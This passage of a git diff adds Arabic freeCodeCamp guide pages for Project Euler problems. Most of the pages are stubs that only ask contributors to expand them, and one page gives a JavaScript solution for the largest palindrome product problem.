+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md
new file mode 100644
index 0000000000..78ad86e66d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle on parabola
+localeTitle: مثلث على القطع المكافئ
+---
+## مشكلة 397: مثلث على القطع المكافئ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md
new file mode 100644
index 0000000000..f43d87a6e0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting rope
+localeTitle: قطع الحبل
+---
+## مشكلة 398: قطع الحبل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..d47ee5f01e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Fibonacci Numbers
+localeTitle: Squarefree Fibonacci Numbers
+---
+## المشكلة رقم 399: أرقام فيبوناتشي Squarefree
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md
new file mode 100644
index 0000000000..28fa9cd382
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md
@@ -0,0 +1,56 @@
+---
+title: Largest palindrome product
+localeTitle: أكبر منتج متناظر
+---
+## المشكلة 4: أكبر منتج متناظر
+
+### طريقة:
+
+*   رقم palingromic هو الذي عند عكسه يقرأ نفسه.
+*   أكبر رقم تم الحصول عليه من منتج مكون من رقمين مكونين من 3 أرقام هو `999 * 999` ، لذا يمكننا عمل حلقة تبدأ من خلال إنتاج أكبر عدد من الأرقام والتحقق مما إذا كان ذلك الرقم هو تباين أم لا.
+
+### حل:
+
+ `function largestPalindromeProduct(n) { 
+ 
+  //To get the maximum n digit number, + operator type castes String to Number type 
+  let max = +[...Array(n)].reduce((a, c) => a+=9, ""); 
+ 
+  //Next we get minimum n digit number from the max 
+  let min = (max+1)/10; 
+ 
+  //To store the result 
+  let res = []; 
+ 
+  //Starting the loop from max to min 
+  for (let i = max; i >= min; i--){ 
+ 
+    //Another loop 
+    for (let j =  max; j >= min; j--){ 
+ 
+      //Getting the product 
+      let num = i*j; 
+ 
+      //Reversing the number 
+      let numReverse = [...String(num)].reverse().join(''); 
+ 
+      //Checking for palindromic number 
+      if (num == numReverse) { 
+ 
+        //Pushing the number into array and breaking the loop for efficiency 
+        res.push(num); 
+        break; 
+      } 
+    } 
+  } 
+ 
+  // Returning the maximum of the result array 
+  return Math.max(...res); 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Problem-4-Largest-palindrome-product)
+
+### المراجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Palindromic_number)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md
new file mode 100644
index 0000000000..2cb2750707
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md
@@ -0,0 +1,9 @@
+---
+title: Champernowne's constant
+localeTitle: ثابت تشامبرنون
+---
+## المشكلة 40: ثابت Champernowne
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md
new file mode 100644
index 0000000000..c57307e1f1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci tree game
+localeTitle: لعبة شجرة فيبوناتشي
+---
+## المشكلة 400: لعبة شجرة فيبوناتشي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md
new file mode 100644
index 0000000000..40738cfe56
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of squares of divisors
+localeTitle: مجموع مربعات المقسومات
+---
+## المشكلة 401: مجموع مربعات المقسومات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md
new file mode 100644
index 0000000000..2fd7830752
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer-valued polynomials
+localeTitle: قيم متعددة الحدود
+---
+## المشكلة 402: كثيرات الحدود ذات القيمة الصحيحة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md
new file mode 100644
index 0000000000..d8a5efc575
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice points enclosed by parabola and line
+localeTitle: نقاط شعرية محاطه القطع المكافئ والخط
+---
+## المشكلة 403: نقاط شعرية محاطه القطع المكافئ والخط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md
new file mode 100644
index 0000000000..aa2ca27fa9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md
@@ -0,0 +1,9 @@
+---
+title: Crisscross Ellipses
+localeTitle: Crisscross Ellipses
+---
+## المشكلة 404: تقاطع الحواف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md
new file mode 100644
index 0000000000..3e867cab4c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md
@@ -0,0 +1,9 @@
+---
+title: A rectangular tiling
+localeTitle: تبليط مستطيل
+---
+## المشكلة 405: تبليط مستطيل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md
new file mode 100644
index 0000000000..c5086afe5b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Guessing Game
+localeTitle: لعبة التخمين
+---
+## المشكلة 406: لعبة التخمين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md
new file mode 100644
index 0000000000..ad5d3e4e61
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md
@@ -0,0 +1,9 @@
+---
+title: Idempotents
+localeTitle: Idempotents
+---
+## المشكلة 407: المُفترِضون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md
new file mode 100644
index 0000000000..48ffa935a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Admissible paths through a grid
+localeTitle: المسارات المسموح بها من خلال الشبكة
+---
+## المشكلة 408: المسارات المسموح بها عبر الشبكة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md
new file mode 100644
index 0000000000..0cf7617ff8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim Extreme
+localeTitle: نيم المتطرفة
+---
+## المشكلة 409: نيم المتطرفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md
new file mode 100644
index 0000000000..cac37472a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital prime
+localeTitle: رئيس Pandigital
+---
+## المشكلة 41: Pandigital رئيس الوزراء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md
new file mode 100644
index 0000000000..fa5e366cbe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md
@@ -0,0 +1,9 @@
+---
+title: Circle and tangent line
+localeTitle: الدائرة وخط المماس
+---
+## المشكلة 410: خط الدائرة والماسس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-410-circle-and-tangent-line/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md
new file mode 100644
index 0000000000..ddb5fc8699
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md
@@ -0,0 +1,9 @@
+---
+title: Uphill paths
+localeTitle: مسارات شاقة
+---
+## المشكلة 411: مسارات صعود
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-411-uphill-paths/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md
new file mode 100644
index 0000000000..3529c9df4b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md
@@ -0,0 +1,9 @@
+---
+title: Gnomon numbering
+localeTitle: ترقيم جنومون
+---
+## المشكلة 412: ترقيم غنومون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-412-gnomon-numbering/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md
new file mode 100644
index 0000000000..783db6c088
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: One-child Numbers
+localeTitle: أرقام طفل واحد
+---
+## المشكلة 413: أرقام الطفل الواحد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-413-one-child-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md
new file mode 100644
index 0000000000..c53fd76ffa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md
@@ -0,0 +1,9 @@
+---
+title: Kaprekar constant
+localeTitle: Kaprekar ثابت
+---
+## المشكلة 414: ثابت كابريكار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-414-kaprekar-constant/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md
new file mode 100644
index 0000000000..3dd8e85038
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Titanic sets
+localeTitle: مجموعات تيتانيك
+---
+## المشكلة 415: مجموعات تيتانيك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-415-titanic-sets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md
new file mode 100644
index 0000000000..500f2e96db
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md
@@ -0,0 +1,9 @@
+---
+title: A frog's trip
+localeTitle: رحلة الضفدع
+---
+## المشكلة 416: رحلة الضفدع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-416-a-frogs-trip/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md
new file mode 100644
index 0000000000..f6ac877af7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Reciprocal cycles II
+localeTitle: دورات متبادلة 2
+---
+## المشكلة 417: دورات متبادلة II
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-417-reciprocal-cycles-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md
new file mode 100644
index 0000000000..8516a2e446
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorisation triples
+localeTitle: ثلاثية التخصيم
+---
+## المشكلة 418: ثلاثية العومرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-418-factorisation-triples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md
new file mode 100644
index 0000000000..f1c85dcb03
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Look and say sequence
+localeTitle: انظر واقول تسلسل
+---
+## المشكلة 419: انظر واقول تسلسل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-419-look-and-say-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md
new file mode 100644
index 0000000000..75ec090410
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Coded triangle numbers
+localeTitle: أرقام مثلث مشفرة
+---
+## المشكلة 42: أرقام المثلث المشفر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-42-coded-triangle-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md
new file mode 100644
index 0000000000..7f8a982450
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: 2x2 positive integer matrix
+localeTitle: 2x2 صحيح عدد صحيح مصفوفة
+---
+## مشكلة 420: 2x2 مصفوفة عدد صحيح موجب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-420-2x2-positive-integer-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md
new file mode 100644
index 0000000000..672058d758
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime factors of n15+1
+localeTitle: العوامل الرئيسية ل n15 + 1
+---
+## المشكلة 421: العوامل الرئيسية لـ n15 + 1
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-421-prime-factors-of-n151/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md
new file mode 100644
index 0000000000..1dc7aac360
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md
@@ -0,0 +1,9 @@
+---
+title: Sequence of points on a hyperbola
+localeTitle: تسلسل النقاط على القطع الزائد
+---
+## المشكلة 422: تسلسل النقاط على القطع الزائد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-422-sequence-of-points-on-a-hyperbola/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md
new file mode 100644
index 0000000000..bdd1bc9a48
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive die throws
+localeTitle: يلقي يموت متتالية
+---
+## المشكلة 423: يلقي يموت متتالية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-423-consecutive-die-throws/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md
new file mode 100644
index 0000000000..444bc3de63
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md
@@ -0,0 +1,9 @@
+---
+title: Kakuro
+localeTitle: كاكورو
+---
+## المشكلة 424: كاكورو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-424-kakuro/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md
new file mode 100644
index 0000000000..e0c48063cd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime connection
+localeTitle: اتصال رئيس
+---
+## المشكلة 425: اتصال رئيسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-425-prime-connection/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
